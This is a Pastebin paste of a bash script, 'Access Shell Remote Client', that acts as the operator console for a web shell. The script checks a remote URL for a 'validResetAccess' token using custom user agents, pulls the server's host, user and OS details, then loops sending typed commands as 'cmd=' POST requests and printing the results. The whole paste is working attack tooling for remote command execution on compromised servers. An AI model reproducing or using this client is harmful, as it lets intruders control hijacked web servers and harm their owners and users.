Advertisement
Fray117

Access Shell Remote Client

Aug 27th, 2018
411
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.50 KB | None | 0 0
  1. #!/bin/sh
  2. # Access Shell Remote Client v0.5
  3. # Developed by Fray117 - RESET
  4. # Server Pastebin: https://pastebin.com/0fvDVAbk
  5. clear
  6. echo "Running on BASH${BASH_VERSION}"
  7. command -v curl >/dev/null 2>&1 || { echo >&2 "Curl is Required but it's not installed.  Aborting.\n"; exit 1; }
  8. NC='\033[0m'
  9. GREEN='\e[38;5;82m'
  10. CYAN='\e[38;5;45m'
  11. RED='\e[38;5;196m'
  12. YELLOW='\033[1;33m'
  13. BLUE='\033[0;34m'
  14. LOGO(){
  15.   printf "${GREEN}"
  16.   printf "    ___                           \n"
  17.   printf "   /   | _____________  __________\n"
  18.   printf "  / /| |/ ___/ ___/ _ \/ ___/ ___/\n"
  19.   printf " / ___ / /__/ /__/  __(__  |__  ) \n"
  20.   printf "/_/  |_\___/\___/\___/____/____/  \n"
  21.   printf "     ${YELLOW}Version 0.6${NC}    \n"
  22.   printf "\n"
  23. }
  24. clear
  25. EXEC(){
  26.   read -p "$USER@$HOST $ " CMD
  27.   if [[ $CMD = "exit" ]]; then
  28.     exit
  29.   elif [[ $CMD = "" ]]; then
  30.     EXEC
  31.   else
  32.     curl --compressed $URI -d "cmd=$CMD";
  33.     EXEC
  34.   fi
  35. }
  36. CONNECT(){
  37.   clear
  38.   LOGO
  39.   read -p 'Access URL: ' URI
  40.   REQUEST=$(curl -A RMTID -I -s $URI)
  41.   if [[ $REQUEST =~ "200 OK" ]]; then
  42.     printf "${CYAN}$URI -> CONNECTED${NC}\n"
  43.     CHECK=$(curl -A RMTID -sN $URI)
  44.     if [[ "$CHECK" = "validResetAccess" ]]; then
  45.       printf "${GREEN}$URI -> VALID${NC}\n"
  46.     else
  47.       printf "${RED}$URI -> FALSE${NC}\n"
  48.       exit
  49.     fi
  50.   else
  51.     printf "${RED}$URI -> FALSE${NC}\n"
  52.     exit
  53.   fi
  54.   sleep 3
  55.   clear
  56.   LOGO
  57.   HOST=$(curl -A SRVIP -sN $URI)
  58.   USER=$(curl -sN $URI?usr)
  59.   printf "OS: ";curl $URI?info
  60.   EXEC
  61. }
  62. CONNECT
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement